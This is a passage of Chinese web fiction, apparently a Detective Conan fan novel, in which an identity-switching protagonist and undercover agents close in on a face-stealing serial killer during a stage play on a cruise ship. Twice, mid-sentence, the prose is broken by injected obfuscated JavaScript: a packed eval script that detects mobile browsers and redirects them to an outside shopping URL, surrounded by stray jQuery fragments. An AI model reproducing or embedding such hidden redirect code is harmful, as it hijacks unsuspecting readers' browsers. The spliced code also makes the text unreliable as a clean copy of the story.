组织里的代号成员出现在同一个非任务场合,从来都不是什么好消息。要么是任务重叠了没人通知,要么是任务泄露了。 至于会不会是纯属巧合…… 伏特加都不会信的好吗? “我去船舱里转转。”安室透说,把原本背靠在栏杆上的身子直起来,“看看莱伊有没有偷懒。” 这个理由烂得也很有波本风格,通俗一点大概是“我随便找个借口走人,你别管我”。 诸伏景光“嗯”了一声,没有跟上去。 两个人分开走是基本的操作,没必要给监视的人看双人行动的戏码。 而且zero的离开八成是去调查克拉瑞了,这让诸伏景光暂时安心了下来,没对突然出现在自己面前的组织成员感到惊疑不定。 27.千面魔鬼的落幕(四) 夜神信根本不知道为什么阴谋家会莫名其妙出现在一艘游轮上,突如其来的不平衡的感觉差点让刚切换的他吐出来。 靠,阴谋家这个身份不会晕船吧! 胃里翻江倒海的余韵还没过去,夜神信就坐在床边扶着头,一边努力把那股恶心感压回去,一边在脑子里飞速复盘。 他之所以突然切换成阴谋家,是因为用神偷在东京生活了两天之后,才发现一个致命的问题——一个没有身份证明的小孩子,在现代社会层层叠叠的严格体系之下,唯一的归宿就是被扭送进孤儿院。 在又一次去酒店或非法网吧住宿被拒后,他权衡再三,最终还是选择把神偷的马甲收回去,切换到另一个身份上。 奥斯卡·道林。 这个身份有正经的社会地位,有说得过去的履历,有财富,有名气,休闲娱乐时间也比治安官和阴谋家多得多。 夜神信原本是想的。 他从神偷的意识里抽身出来的时候,切换阴谋家切换多了的他还恍惚觉得自己应该站在东京某条狭窄的巷子里,头顶是密密麻麻的电线和偶尔飞过的乌鸦。 但当他真正睁开眼睛,视野里出现的却是一片全然陌生的光景。 这是一间安静得过分的房间,空气里还浮着淡淡的消毒水味。 他坐在床边,低头看了看自己,一身剪裁考究的深色休闲装,手腕上戴着一块他不认识牌子但一看就很贵的表,床头柜上还摆放着一款一看就很有设计感的墨镜。 靠窗的位置摆着一张宽大的工作桌,上面有一台合到一半的笔记本电脑,以及一杯已经凉透了的黑咖啡。 咖啡杯的边缘留着一圈浅褐色的痕迹,显然主人离开得匆忙,连顺手洗杯子的时间都没有。 夜神信一边感叹导演真会享受,一边好奇地走到桌前,目光落在那个合到一半的笔记本电脑上。 电脑的型号和品牌一看就很贵,屏幕与键盘合到一半的样子像一只半睁着的眼睛,无端透出一种欲言又止的意味,简直就是在明晃晃地勾引他去看看。 好奇心旺盛的夜神信翻自己马甲的东西也不至于有什么道德负担,于是犹豫一下,伸手开机。 然后他就被三十多封未读邮件惊得愣在原地。 更可怕的是那些邮件的标题和发件人。有制片人催剧本的;有投资方问进度的;有经纪公司推荐演员的,附件里塞满了照片和简历;有记者约采访的;有电影节发邀请函的。 还有一堆他根本看不懂的财务报表和合同条款,密密麻麻的数字像蚂蚁一样爬满屏幕。 在他愣神的时候,笔记本电脑旁边的手机发出一声短信提示音。 他蒙逼地打开,接着更震惊了。 手机里的未接来电更是多得数不清。光是助理的名字就出现了二十几次,最近一通是七分钟前打的,刚才的消息也是他发的。 而现在,那通电话又打过来了。 夜神信:“!?” —— 他花了整整十分钟才把助理打发走,又花了二十分钟搞清楚导演的任务和系统的新功能,最后在手机再次响起之前,干脆利落地切了身份。 ……所以说阴谋家为什么会在这里啊? 他环顾四周,这是一个中等大小的舱房,比普通客房宽敞一些,带一个小小的阳台。 窗帘半拉着,能看到外面深蓝色的海面。房间里有床、书桌、衣柜,还有一个小型会客区。桌上放着几份文件和一台笔记本电脑。 这不是他的房间,至少不是夜神信的记忆里阴谋家应该出现的房间。 他点开系统面板,开始查看属于阴谋家这个身份的历史记录。 这是有了精分模式后出现的新功能。其实还有一个【接收记忆】的选项,他二十分钟前在导演身体的时候就使用过一次,结果差点被导演才一周多的记忆恶心到吐出来。 倒并不是说导演的记忆有多猎奇。只是这个接受记忆本身就很恶心,有种大脑被强制塞入呕吐物般令人反胃的感觉。 那一瞬间,奥斯卡·道林过去一周多的行程、对话、邮件、会议内容,像决堤的洪水一样涌进他的脑子,挤得他太阳穴突突直跳。 所以他滚回阴谋家的身体后,才选择了查看历史记录,而不是接受记忆。 历史记录是以文字形式呈现的,看起来像是某种日志摘要。他一条一条往下翻。 最近的一段让他皱起了眉头。 呃……真奇怪啊,什么叫“被千面的名头吸引而来”? 还有苏格兰、波本、莱伊——三个组织代号成员都在船上? 波本不是前两天还在去东京的新干线上吗?当时他作为神偷还认出他来了,顺手救了一个不知道为什么在跟踪和波本关系很好的男人的……忘了,好像叫善良真纯。 善良真纯后面还和他道谢了来着,不过这些都不重要。 “查到千面魔鬼在一个月之前就犯过案,很失望,但为了某人的期待,还是打算见一面。” 重要的是这句话,措辞有些微妙,他反复看了两遍,才慢慢琢磨出味道来。 按照这话里的意思,这话的人是因为“千面魔鬼”出现的时间在导演出现的时间之前,所以推断出他绝对不是千面本人,因而感到失望。 而且那个“为了某人的期待”又是什么意思?谁在期待?期待什么? 夜神信盯着系统面板上的那行字,大脑飞速运转。 他试图从阴谋家的历史记录里找到更多线索,但前后的条目都平淡得像白开水,没有任何蛛丝马迹能解释这句话。 想尽思路也想不出来的他选择放弃。 这个决策方式看起来很洒脱,实际上核心逻辑非常简单:想不出来就是信息不够,信息不够就是需要更多资料。 与其在原地纠结,不如去找找线索。 他转而开始查看阴谋家的笔记本电脑。 电脑没有设密码——或者说,阴谋家这个身份的记忆里根本没有设密码这回事。他打开屏幕,桌面干净得像样板间,只有几个必要的图标。 其中一个文件夹引起了注意,文件名只有两个字:《千面》。 点开后,里面全是关于“千面魔人”的资料。 夜神信花了大概十分钟把这些资料看完,思路一下子就理清了。 大概就是有个自称“千面魔人”的连环杀人犯,作案手法极其猎奇,勒死受害者后剥下脸皮,然后戴上那张脸皮去冒充受害者生活几天。 这种操作听起来像恐怖片里的情节,但资料上白纸黑字写得清清楚楚,甚至还附了几张案发现场的照片。 被猎奇到了的夜神信沉默。 他飞速关机,坚决不多看一眼。 —— 游轮为客人提供的房间里,安室透正坐在椅子上,面朝电脑,姿态松弛得像一个单纯来度假的普通人。 不过他只是面上不显,心里却一直在盘算。 这次任务从一开始就透着一股不对劲的味道。 安室透把这个结论在脑子里又过了一遍,确认自己没有过度敏感,才开始复盘。 到东京前,情报部那边有人直接联系了他。 这个人严格来说和他没有工作上的交集——组织里的代号成员虽多,但各自负责的领域像一张被打乱的拼图,有些人即使共事多年也未必真正碰过面。 这位成员在组织里的地位还挺高,比一般的代号成员要高出那么一截,属于那种不需要亲自下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366419|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场、只在关键节点上露一次面的人。 这样的人突然绕过了所有中间环节,直接找上他,要求他抵达东京后不要按照惯例前往组织新给的安全屋,而是去一个由对方指定的地点。 安室透当时在电话里只停顿了不到一秒,就应了下来。 这不是一个可以拒绝的邀请。虽然他在组织里也有自己的位置,代号成员之间理论上不存在谁命令谁的关系,但“地位”这种东西在组织里从来不是写在纸面上的。有些人说话就是比别人管用,而你最好能在对方把话挑明之前就意识到这一点。 然后就是他刚到没几分钟就被安装了针孔摄像头。 不是他主动戴的,是任务要求的一部分。一个小小的、几乎看不见的装置,被嵌在他领口的第二颗纽扣里。技术人员给他装的时候面无表情,动作熟练得像是在做一件再普通不过的事情。 安室透当时没有拒绝,也没有表现出任何异样,换和他从小长大的hiro也看不出来他在内心疯狂刷屏的惊涛骇浪。 不过他又很快冷静下来。 组织很少用这种方式监控自己的成员。不是因为他们信任谁,而是因为这种手段太粗糙,太容易被察觉,也太容易让被监控的对象产生抵触。 真正高明的监视是让你根本意识不到自己正在被看,而不是光明正大地在你身上安一个摄像头。 除非这次的任务性质真的不同。 除非组织需要亲眼看到某样东西,以这样无法隐瞒的方式。 而那个东西,大概就是那个所谓的“千面魔人”。 安室透这样想着,目光重新落回屏幕上,也就在这时,对话框里突然弹出一条新消息,他仔细浏览起来。 嗯。 现在也可以确定克拉瑞是私自行动了。 尽管安室透对此很有意见——克拉瑞的出现可能打乱他原本的安排,他不喜欢这种计划外变量——但发消息的人说了不用管。 而且发消息的人是朗姆。 安室透:“……” 他在心里默默翻了个白眼。 行吧。顶头上司都让他别管了,他难道还能造反不成? 他在内心给自己做了五分钟的心理建设,把“克拉瑞为什么会出现在这里”“他到底什么来头”“朗姆为什么对他这么宽容”等一系列问题打包塞进大脑深处某个“以后再想”的角落,然后重新把注意力拉回到任务上。 组织要看,那就给他们看。 反正他本来就是要完成任务的,摄像头在不在,他都是要去找那个“千面魔鬼”的。现在无非是多了一个观众。 ……也许不止一个。 他调出关于“千面魔鬼”的资料,重新过了一遍。 深町诚,二十七岁,自由化妆师。表面上的履历很干净——美妆学校毕业,在几家小型工作室待过,后来独立接活,给一些舞台剧和独立电影做化妆。业内评价不错,手艺好,人也低调,没什么存在感。 但暗地里的履历就不一样了。 已经杀害了七人,自称为“千面魔人”的连环杀人犯。 刚犯案时曾有推测是不是模仿最近四年间出没的风头正盛的“处刑人”的模仿犯罪——毕竟这个犯罪手法和处刑人的某些手法有表面上的相似之处。但这个推测后来被推翻了。 从犯罪心理学的角度来看,两者的动机完全不同。处刑人杀人是为了惩罚,千面魔人杀人更多是为了表演欲。 是属于会被处刑人干掉的类型。 所以后来就被定性为独立的连环案件了。 安室透把资料翻到最后一页,闭上眼,在脑子里把所有的信息重新整理了一遍。 嗯。 今晚就去会会他吧。 28.千面魔鬼的落幕(五) 舞台剧表演即将开始。 剧场里的灯光渐渐暗下来,观众席的窃窃私语也随之低了下去。 伊达航坐在中间,左边是娜塔莉,右边是子安观。这个座位安排是他精心设计的,让娜塔莉挨着他坐,表哥坐在外侧,方便随时起身去洗手间或者买饮料。虽然子安观根本没提过要去洗手间,但他还是习惯性地把方便的位置让给了别人。 “人好多啊。”娜塔莉压低声音说,四处张望,“我以为我们来得够早了,结果好位置都快被占光了。” “已经算不错了。”伊达航说,“至少我们三个还坐在一起。” 娜塔莉点点头,然后探头去看子安观:“子安君,你坐得舒服吗?要不要换个位置?这边离过道近,出去方便。” “不用。”子安观说,“挺好的。” 娜塔莉收回目光,又往舞台方向张望了两眼,似乎想找点什么话题来聊。她侧过头看了看子安观,忽然想起什么似的,眼睛亮了一下。 “对了,子安君。”娜塔莉忽然想起什么,“你最近工作忙吗?我们公司上次说要请安保公司做培训,我还想推荐你来着。” 娜塔莉说这话纯粹是出于好心,但对自己表哥还算了解的伊达航顿时心里咯噔。 工作的事,他其实一直没敢多问。子安观在商场做安保员,工资不高,但胜在稳定。伊达航知道表哥没什么大志向,能养活自己就行。但商场那种地方,人事变动快,他总担心哪天子安观会失业。 “已经没在做了。”子安观说。 伊达航愣了一下。 娜塔莉也愣住了:“诶?辞职了吗?” “嗯。”子安观的声音很平淡,“上个月辞的。” 伊达航张了张嘴,想问为什么,又怕戳到什么不该戳的地方。他想起上次见面的时候,子安观看起来一切正常,甚至比平时还放松一些。他还以为是出来玩心情好的缘故。 “为什么啊?”娜塔莉替他把问题问了出来。 子安观沉默了一会儿。 他原本想说“有人杀我没成功”,又觉得这个理由说出来会把气氛弄得很奇怪;想说“我救了别人有感谢金”,但好像因为数目太多了也不太对。两个理由在脑子里转了一圈,最后折中了一下。 “中了彩票。” 这句话说出来的时候,语气平静得像是在说路边捡了个石头一样,完全没有任何惊喜的表现,使得伊达航和娜塔莉同时转过头看着他。 “……什么?”伊达航怀疑自己听错了。 正常人中彩票会这么冷静吗? “彩票。”子安观显然不是正常人,他还好心地重复了一遍,“中了。所以不工作了。” 伊达航对自家表哥的反应欲言又止,他看着子安观侧脸,很努力的企图分析出他是不是打算突然开个玩笑。 “中了多少?”一旁的娜塔莉小声问,眼睛里也是不可思议。 子安观想了想:“大概一千万吧。”刚说完,他又补充道:“交了税的。” 因为他忽然意识到,如果不说清楚是税后,伊达航可能会用那种“你不会被人骗了吧”的眼神看他。 “所以你才说想出来散散心?”伊达航问。 他忽然想起前阵子子安观主动问他最近有没有什么好玩的地方,说要一起出来。当时他还挺意外,觉得表哥难得有兴致。现在想想,散心是真,但散的大概不是普通的心。 是一夜暴富的心。 子安观点了点头。 “那以后有什么打算?”伊达航问。 子安观无所谓道:“还没想好。” “那就慢慢想。”伊达航说,靠回椅背上,心里为子安观的经济状况松了一口气,“反正不着急。” 娜塔莉在旁边笑着附和:“对呀,好不容易可以休息了,当然要好好享受一下。旅行啊、看书啊、学点什么东西啊——” 子安观听着她说话,意外的有些认真,似乎在真的考虑这些东西。 而在这期间,舞台上的幕布完全升起来了,灯光亮起,第一个演员从侧台走出来。观众们的注意力终于彻底被舞台吸引过去,伊达航和娜塔莉也暂且把注意力拉回,认真地观看表演。 在所有人都在认真观看舞台剧表演的时候,不远处剧场后台的化妆室里气氛有些诡异。 化妆室在舞台的右侧,穿过一条堆满道具箱的走廊,拐两个弯就能到。 门是一扇普通的木门,上面贴着一张打印的塑料纸条:“外人禁止入内”。 门虚掩着。 化妆室不大,大概十来平方米,两面墙上镶着带灯的镜子,镜子前面摆着几把旋转椅。 深町诚坐在最里面那把椅子上,面对镜子,在欣赏自己为自己化的妆容。 这是他的作品。 “完美。”他满足地低声说。 他对着镜子仔细打量着自己的脸,从眉骨到颧骨,从鼻梁到下颌线,就像画家在凝视刚完成的杰作。 “可惜。”他忽然说,声音里多了一丝阴郁。 可惜没有人能真正欣赏。 深町诚放下手,靠在椅背上,眼神变得冷淡。 一群外行! 他想起上个月一个演员对他的夸奖。“深町君的化妆技术真的很厉害呢,大家都说很舒服,效果也很好。” 舒服?效果? 这就是他们能给出的最高评价了吗? 如果他们懂一点点,就会知道那套妆容重新塑造了整个面部结构,让演员在舞台灯光下呈现出和剧本人物完全吻合的气质,毫无疑问是世界顶流的技术。 可没人注意到这点,他们只会无脑的说“真厉害啊”“演技真好”“可以去当明星了”。 一想到这里,他就变得更加不屑和气愤了。 然后他听到门被推开的声音。 化妆室的门被打开,在这个地方是一件再正常不过的事情。演员随时可能进来补妆,道具师可能来拿东西,舞台监督可能来催场。化妆室本来就是一个公共空间,人来人往是常态。 深町诚没有被吓到。他甚至没有立刻转头,而是慢条斯理地从桌上拿起一把梳子,假装在整理头发。 但他的余光已经扫向了门口。 然后他的动作顿了一下。 站在门口的人,穿着一身剪裁考究的深色休闲装,手腕上戴着一块低调但一看就很贵的表。鼻梁上架着一副很有设计感的墨镜。 深町诚认出了那张脸。 不,应该说,他认出了那个人。 最近这段时间,这张脸出现在太多地方了。电影节的报道、杂志的封面、网络上的娱乐新闻……到处都是这张脸。 奥斯卡·道林。 那个美国来的天才导演。 深町诚对导演这个职业没什么兴趣。但他对“天才”这个标签很感兴趣。 不过再怎么感兴趣也不是对方出现在这里的理由,他可还记得前几天才有奥斯卡·道林打算拍新电影的消息,无论如何都不可能出现在日本。 “打扰了。”奥斯卡·道林说,声音低沉,带着一种不紧不慢的从容。他把墨镜摘下来,露出一双很锐利的眼睛,在化妆室里扫了一圈,最后落在深町诚身上,直接把深町诚看炸毛了。 “您找谁?”深町诚警惕地问,他脑子里飞速转过几个念头。 是走错门了?来找哪个演员?有认识的人,在这里等人的? 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诶诶诶——?! 去美国? 这个邀请来得太突然,突然到他甚至没办法第一时间做出任何反应。 然后各种情绪开始涌上来——惊讶、怀疑、一种被击中的眩晕感,以及他自己都不太愿意承认的、隐秘的兴奋。 “您是从美国专程过来的?”他有些不可思议又有些期待地问,希望得到是专门为他而来的这种答案。 “不是。”奥斯卡·道林说。 深町诚的目光几乎是立刻暗了下去。 奥斯卡·道林似乎没有注意到——或者注意到了但不在意——只是继续说道:“我这次来日本,本来是为了拜访一位小说家。” “小说家?” “工藤优作。”奥斯卡·道林说这个名字的时候,语气里带着一种明显的欣赏,“不知道你听没听说过。他是个推理小说家,写的作品结构非常精妙,人物塑造也很有深度。我读过他的好几部小说,一直觉得如果能改编成电影会很有意思。这次来日本,就是想当面和他聊聊。” 他停顿了一下,露出一个略带无奈的表情。 “结果算错了时间。他最近人在洛杉矶参加一个什么国际推理作家论坛,要下个月才回来。” “所以您就……” “所以我就干脆在日本先玩几天。”奥斯卡·道林说,“四处走走看看,感受一下这边的文化氛围。正好听说有舞台剧演出,就过来看看——没想到在化妆这块遇到了惊喜。” 惊喜。 这个词落在深町诚耳朵里,让他的心跳跳的快了一些。 这个词意味着超出预期,意味着意想不到的收获,意味着在他自己都不知道的情况下——他已经让一个来自美国的天才导演为他停下了脚步。 “所以,”奥斯卡·道林从口袋里掏出一张名片,放在桌上,用食指轻轻推过来,“你可以考虑一下。不用现在回答,我不着急走。名片上有我的联系方式。” 深町诚低头看着那张名片。简洁的白色卡纸,上面只印了一个名字和一串号码。 “……明白了。”深町诚有些隐秘的期待着应道。 29.千面魔鬼的落幕(六) 要说为什么远在天边的导演会出现在这里,原因还挺简单。 夜神信对着电脑检查了一通后,几乎可以确定【阴谋家】已经对“千面魔人”产生了杀意。 但阴谋家没有直接动手。 这倒是让夜神信有点意外。按照他对这个马甲的了解,阴谋家不是什么优柔寡断的人,该动手的时候绝不废话。 但这次偏偏没有,而是采用了迂回的、想通过引导的方式让那人自寻死路。 夜神信先是疑惑了一会儿“阴谋家怎么杀个人变得这么麻烦了用通缉两秒钟不到就解决了”之类的事,才后知后觉地意识到——这其实是个好机会。 导演那个极其复杂的任务这时候不做白不做,既完成了任务又帮了阴谋家,简直一举两得。 他先是切换为导演,谨慎地环顾四周确认无人,又飞快地翻了一遍消息记录和日程安排,确认今天下午没有任何人预约来访。 嗯,看来可以放心地使用导演了。 导演这个身份还挺特殊的,人刚出生就一直在美国,想让他回到日本,就得先回收马甲,再在附近重新投放。 但夜神信不想让两个马甲处在同一个空间,尤其是阴谋家和导演,总有种让他们共处一室,下一秒这俩就会拼速度,看看谁先弄死谁的感觉。 最终夜神信选择了在不使用活人偶的情况下切换马甲。 …… 然后接下来发生的事情,他不太想回忆。 简单来说就是:他在游轮上迷路了,耽误了一些时间。 但他最终还是找到了,而且居然还因为迷路所浪费的时间导致时机卡得刚刚好。 化妆室的演员们正好都去表演舞台剧了,他推门进去的时候,深町诚正一个人坐在里面,面对镜子,不知道在想什么。 然后接下来也是一段他不太想回忆的对话。 他和这个至少杀害了七人的连环杀手虚与委蛇,说着自己都不太相信的话,脸上还要挂着真诚的表情,费劲一番口舌后总算把人忽悠进美国了。 哦,其实他去不去美国不重要。 毕竟他来这里只是想确认深町诚是不是在这个化妆室,并且不会短时间离开而已。 在他离开化妆室的时候就决定进镜像杀了可以被称之为“千面”的深町诚。 【现在的情况对你来说似乎有些不利,模仿者太过优势的局势让你决定做些什么。】 【任务:预测目标所处地点和身份,并在进入镜像后进入所预测目标说出地点和身份时进行淘汰(0/1)】 【限制条件:请预测您的目标(神偷/怪盗/阴谋家/千面人/烟火师/催眠师/处刑人/指挥家)】 【请注意,根据系统判断,现在的您只有两次进入镜像的机会,请您务必至少淘汰一人。】 当时看见这么一大行字的时候,夜神信差点没看懂。他盯着屏幕看了足足十秒钟,反复读了三遍,才大概明白这行字在说什么。 后来简单翻译成人话就是:挑选某一个人作为目标,得知他现在的身份和所处的地点,进镜像后杀了他。而且挑选的目标必须是模仿者。 所以他需要做的是:先确认神偷或者阴谋家的准确位置和当前身份,然后找个没人的地方进镜像,在镜像世界里找到他,一刀解决。 但他怎么忍心对自己的马甲下手?! 好吧刚开始他在导演马甲身体里看见这个任务的时候确实有这个想法。 但是当他切换为阴谋家之后,这个念头就彻底打消了,并且开始思考——外人能不能承担起这些称号。 反正还有一次试错机会,最后的结果也无非是—— 呃,该怎么说呢…… 夜神信毕竟都有钻空子的想法了,肯定是不打算把开挂的神偷马甲祭天,也不舍得把阴谋家祭天。 导演的话……任务失败就失败吧。 反正导演这个马甲目前对他来说就是个工具人,丢了也不心疼。无非就是少一个正常的身份,少一张美国国籍,少几个零零碎碎的联络人。 说起来有点可惜,但也仅此而已了。 比起神偷或者阴谋家,显然导演的价值更低一点。 不过话虽这么说,彻底放弃导演这个身份之前,他还是挣扎了一下,去见了深町诚。 毕竟任务奖励可是下一个马甲,而且他这个人吧,骨子里就有那么点贪心,能拿的东西从来不嫌多。万一能钻到空子呢?万一深町诚这个“千面”恰好符合系统判定呢? 总之,他决定去试试。 时间回到现在,计划已经开始了的他现在唯一需要面对的问题就是:他需要在进镜像之前找个没人的地方。 走廊上还有一两个工作人员在走动,推着清洁车或者搬着道具箱,随便一个拐角都有监控。 他不能在这种地方凭空消失。 不是说他不能,理论上他可以在任何地方进镜像,但万一有人刚好路过看到一个大活人突然不见了,第二天就会多出一个“游轮灵异事件”的都市传说,他不想给自己惹这种麻烦。 所以,找个没人的地方。 最好是男厕所。 男厕所是个好地方。隔间一锁,门一关,没人会来打扰你。就算有人看到你进去很久不出来,也只会以为你在便秘,不会联想到超自然现象。 奥斯卡·道林对这个主意非常满意。 他开始找厕所。 他又迷路了。 这件事说起来真的很丢人。他不是路痴,外在特质上也没写导演是路痴。但这艘游轮的走廊设计实在是太反人类了,没有任何地标性的东西可以用来判断方位。 他走了大概五分钟,经过了一扇又一扇紧闭的门,每一个拐角看起来都似曾相识,又好像从来没有来过。 他开始怀疑自己是不是在走一个圈。 就在他几乎要放弃、准备随便找个没人的房间进镜像的时候,他来到了一个人最多的地方。 舞台剧表演的地方。 这倒不是他耳聋听不到什么音乐声或者交谈声,只是这艘游轮的客人似乎素质格外的高,没有人交谈接耳;而舞台上面的男女主不知道是在演哑剧还是进入了经典的不长嘴狠狠误会的桥段,两人互相沉默着望着对方,眼里流着泪,也没说话。 总之就是很安静。 而且剧场的门很普通,他完全看不出这扇门和之前的那几个房间的门有什么区别。 剧场里的灯光很暗,观众席上坐满了人,大部分人的脸都埋在阴影里,看不清楚。舞台上的灯光太亮,把观众的注意力都吸了过去,所以他的出现并没有引起多少人的注意。 大概只有后排的几个人听到动静转过头来看了一眼,发现是个不认识的人,就又转回去了。 而奥斯卡·道林进门后目光下意识扫了一圈,发现自己进入了一个和自己所期待所想的完全相反的地点,指尖已经搭上门把准备撤退。 然后他看到了一个格外眼熟的人。 那个人坐在中间偏左的位置,姿态放松地靠在椅背上,周围的人都专注地看着舞台,只有他,仿佛感应到了什么—— 微微偏过头,向他的方向看去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393853|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两个人隔着大半个剧场,四目相对。 那种感觉很奇妙,像是某种心灵感应般,在目光相接的那一瞬间,他能感觉到治安官明显兴奋愉悦了起来,像是猎手终于等到了那个不该出现在领地里的身影。 导演莫名觉得自己的后背冒出了一层冷汗。 像是食草动物被食肉动物天然压制的感觉,宛如遇到了天敌,没有任何反抗的能力,满脑子只剩下逃跑。 他切换马甲的时候,从来没有想过两个马甲会在同一个空间里同时出现。精分模式的设定里也没有明确说过这种场景会不会有什么副作用。 而且这种感觉太不对劲了,就像玩模仿者拿到中下身份被治安官或者猎人盘出来,但他们什么也没说,只是一边和你聊天,一边逐渐朝你靠近——! 靠他真的站起来了! 发现治安官居然真的朝他靠近的奥斯卡·道林立刻转身,飞快带上了门。 ———— 身边的人站了起来。 动作很突然,令得旁边的人转过头来看他,但那人没有理会,他的视线停留在门口,好像在看着什么。 “表哥?”伊达航的声音从左边传来,带着明显的疑惑,“怎么了?” 子安观没有回答,他的目光穿过昏暗的观众席,落在门口那道缝隙透进来的光上。 伊达航顺着他的视线看过去,什么也没看到——只有几个观众低头翻节目单的背影,和走廊尽头安全出口的绿色指示灯。 “没事。” 但话音还没落,他已经迈出了脚步。 “啊——等等——”伊达航心有疑虑,下意识伸手,但指尖只碰到空气,面前黑发男人的衣角从手边滑过去,像是早就知道他会有这个动作。 他没有回头,沿着座位之间的过道往外走,步伐很快,让两边的观众纷纷抬起腿给他让路,有人投来不满的目光,有人小声嘀咕了一句什么,他都没有理会。 伊达航坐在座位上,看着快有一米九的男人的背影消失在门口,脸上的表情十分困惑,张了张嘴,想说点什么,又咽了回去。 娜塔莉也转过头来,看看门口,又看看伊达航,小声问:“子安君他怎么了?” “没事,”伊达航犹豫一下。 “可能是去洗手间吧。”他听见自己这么说,语气里带着一种连自己都不太相信的笃定。 舞台上,身为侦探的男主似乎终于长了嘴,指认了作为凶手的女主,推翻了女主的不在场证明,台词激昂,音乐激昂,观众的情绪被推到了最高点。 男主一边说着女主杀死她双胞胎妹妹——也就是男主的女友——的手法,一边流着泪半是后悔半是迟来的告白—— “……你最大的失误,就是在调查不足的情况下扮演了你的妹妹。” 光打在他脸上,照出眼角那点眼泪,他的声音在发抖,但每个字都咬得很清楚。 “一天之内,可以发生的事是很多的。” “多到足以改变一个人,多到轻而易举让你暴露而不自知。” 音乐在最高处戛然而止,只留大提琴的低 音在空气里慢慢散开。观众席安静了整整三秒,然后掌声才像潮水一样涌上来。 伊达航跟着鼓掌,心里却恍惚着有些出神。 他的脑子里还转着刚才那个画面。 身边可以算得上亲近的人站起来的时候,视线像是被什么东西勾住了,原本熟悉的、令人安心的眼神逐渐变换——像是看到熟人,又像是看到仇人…… 最后演变成了看死人的眼神。